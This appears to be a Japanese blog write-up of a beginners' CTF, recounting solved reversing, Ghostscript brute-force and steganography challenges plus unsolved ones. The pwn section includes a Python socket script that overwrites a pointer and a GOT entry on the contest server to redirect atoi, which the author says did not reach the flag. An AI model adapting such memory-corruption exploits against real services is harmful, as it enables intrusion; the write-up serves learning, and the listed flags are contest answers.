     860:   74 f1                   je     853 <__cxa_finalize@plt+0x1e3>
     862:   80 fa 4b                cmp    $0x4b,%dl
     865:   b8 c4 00 00 00          mov    $0xc4,%eax
     86a:   75 dc                   jne    848 <__cxa_finalize@plt+0x1d8>
     86c:   f3 c3                   repz retq 
     86e:   66 90                   xchg   %ax,%ax
     870:   f3 c3                   repz retq 
     872:   66 0f 1f 44 00 00       nopw   0x0(%rax,%rax,1)
     878:   0f b6 57 01             movzbl 0x1(%rdi),%edx
     87c:   80 fa 3e                cmp    $0x3e,%dl
     87f:   74 5f                   je     8e0 <__cxa_finalize@plt+0x270>
     881:   76 3d                   jbe    8c0 <__cxa_finalize@plt+0x250>
     883:   80 fa 9c                cmp    $0x9c,%dl
     886:   b8 0f 00 00 00          mov    $0xf,%eax
     88b:   74 c6                   je     853 <__cxa_finalize@plt+0x1e3>
     88d:   80 fa c9                cmp    $0xc9,%dl
     890:   b8 b8 00 00 00          mov    $0xb8,%eax
     895:   74 bc                   je     853 <__cxa_finalize@plt+0x1e3>
     897:   80 fa 74                cmp    $0x74,%dl
     89a:   75 3c                   jne    8d8 <__cxa_finalize@plt+0x268>
     89c:   0f b6 57 02             movzbl 0x2(%rdi),%edx

条件分岐が多くて一見わかりにくいが、結局次のブロックに行く直前の分岐で比較している文字が正解の文字である。
「次のブロックに行く直前の分岐」には、「一致したら次のブロックに行く」パターン

     823:   80 fa 63                cmp    $0x63,%dl
     826:   74 50                   je     878 <__cxa_finalize@plt+0x208>

および、「一致しなかったら次のブロックに行かない」パターン

     897:   80 fa 74                cmp    $0x74,%dl
     89a:   75 3c                   jne    8d8 <__cxa_finalize@plt+0x268>
     89c:   0f b6 57 02             movzbl 0x2(%rdi),%edx

が存在する。
逆アセンブル結果からmovzblをgrepしておくと、ブロックの境界がわかりやすく、解析しやすくなる。
最後のブロックの最後は比較命令が違うが、
「一致したら次のブロック(return)に行く」パターンであり、正しい文字は'\0'である。

     853:   f3 c3                   repz retq 
...
    103e:   31 c0                   xor    %eax,%eax
    1040:   84 d2                   test   %dl,%dl
    1042:   0f 84 0b f8 ff ff       je     853 <__cxa_finalize@plt+0x1e3>

なお、"Hint: You'd better automate your analysis"とあったが、
この程度の文字数であればプログラムを組むより手動で見たほうが低コストだと判断した。

ctf4b{sp4gh3tt1_r1pp3r1n0}

ghost

Ghostscriptのソースコードと思われるデータと、その目標の出力と思われるデータが与えられた。

前者のデータの中身を見てみたが、挙動はよくわからなかった。
そこで、Ghostscriptのソースコードとして実行してみると、出力は入力の文字列に依存し、
特に前の文字には依存するが後の文字には依存しなそうであることがわかった。

これに基づき、複雑なことを考えたくなかったので前の文字から順に全探索を行った。
その結果、5分程度で答えが得られた。
(注:これはWindows環境で動作させたプログラムであり、他の環境ではシェルに有害な文字が他にもある可能性があります)

zentansaku.pl
#!/usr/bin/perl

use strict;
use warnings;

my $gs = "C:\\MyInstalledApps\\gs\\gs9.52\\bin\\gswin64c.exe";
my $program = "ghost/chall.gs";

my $output_file = "ghost/output.txt";

open(OF, "< $output_file") or die;

my $target = <OF>;
chomp($target);

my @targets = split(/\s+/, $target);

my $searching = "";

my $start = time();

for (my $i = 0; $i < @targets; $i++) {
    for (my $c = 126; $c > 32; $c--) {
        if ($c == 0x22 || $c == 0x26 || $c == 0x27 || $c == 0x3c || $c == 0x3e || $c == 0x5e || $c == 0x7c) { next; }
        my $candidate = sprintf("%s%c", $searching, $c);
        open(TEST, "echo $candidate| \"$gs\" \"$program\" |") or die;
        my $res = "";
        while (<TEST>) { $res = $_; }
        my @got = split(/\s+/, $res);
        if ($got[$i] == $targets[$i]) {
            $searching = $candidate;
            last;
        }
    }
    printf("%d / %d at %ds\n", $i + 1, @targets + 0, time() - $start);
}

print "\n$searching\n";
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}

Misc

Welcome

深夜のぼく
「そろそろこれやっとくか…?」
「Discordかあ…この機会に登録しとく…?」
「んー…規約読むのめんどい…50点だしな…パスでいっか…」

昼のぼく
「上のチームとの得点差が50点未満の状況が観測されたからやっとこ。」
「なんだ、ニックネーム入れるだけで垢作んなくても入れるやんけ。」

フラグは#announcementチャンネルにあった。

ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}

emoemoencode

テキストファイルが与えられた。
中身は絵文字が並んでいた。

"Do you know emo-emo-encode?"とのことなので、
まずはemo-emo-encodeでググってみたが、有力な情報は得られなかった。

flagはctf4b{で始まるはずであることをもとに絵文字群を観察していると、
最初の絵文字の文字コードの下位8ビットがctf4b{の文字コードになっていることに気がついた。
(サクラエディタの、カーソル位置の文字の文字コードを表示する機能を使った)
残りの絵文字の文字コードの下位8ビットも抽出することで、flagが得られた。

ctf4b{stegan0graphy_by_em000000ji}

解けなかった問題

Pwn

Elementary Stack

ELFファイル、そのソースコードと考えられるC言語のプログラム、libcのファイルが与えられ、サーバーが用意された。
ELFファイルは、tdm-gccobjdumpを用いることで、
普通に-dオプションを用いるだけで逆アセンブルを行えた。

どうやらbufferが指す場所に入力を読み込んだ後、それに基づき配列numberに値を格納するようである。
main関数内、および入力を読み込むreadlong関数内でのスタックの様子をまとめると、以下のようになっていそうである。

readlong を呼ぶ前の状態

rbp - 0x68
rbp - 0x60 rsp
rbp - 0x58 i
rbp - 0x50 buffer
rbp - 0x48 v
rbp - 0x40 number
rbp - 0x38
rbp - 0x30
rbp - 0x28
rbp - 0x20
rbp - 0x18
rbp - 0x10
rbp - 0x08
rbp - 0x00

readlong で read する時の状態

rbp - 0x20 rsp
rbp - 0x18 size
rbp - 0x10 buf
rbp - 0x08 msg
rbp - 0x00
rbp + 0x08 [saved rbp]
rbp + 0x10 [return address to main()]
rbp + 0x18 i
rbp + 0x20 buffer
rbp + 0x28 v
rbp + 0x30 number
rbp + 0x38
rbp + 0x40
rbp + 0x48
rbp + 0x50
rbp + 0x58
rbp + 0x60
rbp + 0x68
rbp + 0x70

これに基づき、書き込む位置に-2を指定することで、bufferの値を書き換えることが可能である。
ここを6295608 (0x601038)にすることで、
bufferが指す場所への書き込みを用いてatoiとして呼び出す位置を変えることができる。
(atoiに対応する位置は 6295616 (0x601040) だが、これを直接指定すると
*** stack smashing detected ***: <unknown> terminatedが出てしまった)

例えばatoiの代わりにprintfを呼び出すことができたが、flagの取得にはつなげることができなかった。

hack.py
import sys
import struct
import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("bs.quals.beginners.seccon.jp", 9003))
sock_buffer = b""

def sock_readline():
    global sock_buffer
    while b"\n" not in sock_buffer:
        data = sock.recv(4096)
        if data == b"":
            if sock_buffer != b"":
                print(sock_buffer)
            sys.exit(0)
        sock_buffer += data
    try:
        splitted = sock_buffer.decode().split("\n", 2)
        sock_buffer = (splitted[1] if len(splitted) > 1 else "").encode()
        return splitted[0]
    except UnicodeDecodeError:
        buf = sock_buffer
        sock_buffer = b""
        return buf

sock.sendall(b"-2")
sock.sendall(str(0x601038).encode())
print(sock_readline())

sock.sendall(b"\x00")
sock.sendall(b"12345678" + struct.pack("<Q", 0x400590))
print(sock_readline())

sock.sendall(b"hello\x00")
sock.sendall(b"hello\x00")
print(sock_readline())

sock.close()

ChildHeap

ELFファイルとlibcのファイルが与えられ、サーバーが用意された。

サーバーに接続するとAlloc / Delete / Wipe / Exit のメニューがあった。

Allocを選択すると、sizeとcontentを聞かれた。
その後Deleteを選択すると、入力したcontentが表示され、"remove?[y/n]"と聞かれたので、yにした。
再びAllocを選択すると、"No Space!!"と表示された。
再びDeleteを選択し、yを選ぶと、接続が切れた。

Deleteを選択せずにAllocを選んでも、2回目以降は"No Space!!"と出るようである。

また、これは終了後わかったことだが、Allocを選択せずにDeleteを選択した場合は、
複数回Delete→yを選択しても接続が切れないようである。

flip

ELFファイルとlibcのファイルが与えられ、サーバーが用意された。

サーバーに接続すると、Input address >>と出力された。
適当に入力すると、次は

You can flip two times!
Which bit (0 ~ 7) >>

と出力された。
また適当に入力すると、接続が切れた。

わからんと思って諦めてしまったが、逆アセンブルくらいしてみればよかったかな。

Crypto

C4B

WebページのURLが与えられた。
ページにアクセスしても、「Install Web3 Provider (MetaMask) 」と出るだけで何もわからず。
「Web3 Provider」で検索しても、なんかいっぱいあってわからん。

…ん?

[MetaMask]【検索】

MetaMask - Chrome ウェブストア

もしかしてこれか!? (終了1分前) (ておくれ)

Web

profiler

WebページのURLが与えられる。
アカウント登録すると、tokenが出てくる。
このtokenをtoken欄に入れるとprofileをupdateでき、入れないとできないようである。
また、Get FLAGボタンがあり、押すと

Sorry, your token is not administrator's one. This page is only for administrator(uid: admin).

と出てくる。

…何もわからず。

Somen

WebページのURL、そのソースコードと考えられるファイル、そしてworker.jsが与えられた。
workerがあるということは、XSS系と推測できる。

パラメータとして英数字以外を入れると、JavaScriptで別のページに移動させて弾くようである。

…ということしかわからず。

Reversing

siblangs

apkファイルが与えられた。

を利用したが、flagの特定には至らなかった。

es.o0i.challengeapp.nativemodule内のクラスValidateFlagModuleに関数validateがあり、
暗号の処理と比較処理をしているようだったので、比較しているデータを抽出してみた。
その結果は1pt_3verywhere}であり、flagの末尾のようであった。
また、比較は入力データの22要素目(0-origin)からであったので、flagは

ctf4b{
                      1pt_3verywhere}
01234567890123456789012

のような形になると推測できた。

sneaky

ELFファイルが与えられた。
tdm-gccobjdumpを用いることで、
普通に-dオプションを用いるだけで逆アセンブルを行えた。

…が、ばかでかかった(20万行超え!)のでパス。

Misc

readme

Pythonのソースコードが与えられ、それが動いていると考えられるサーバーが用意された。

assert os.path.isfile('/home/ctf/flag') # readme

という記述から、/home/ctf/flagを読めばよさそうであるが、
入力にctfが入っている文字列を指定すると弾かれるようになっている。

…ん…待てよ…Misc…?ということはとんちか…? (終了15分前)

…しかし、わからず。

3
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
3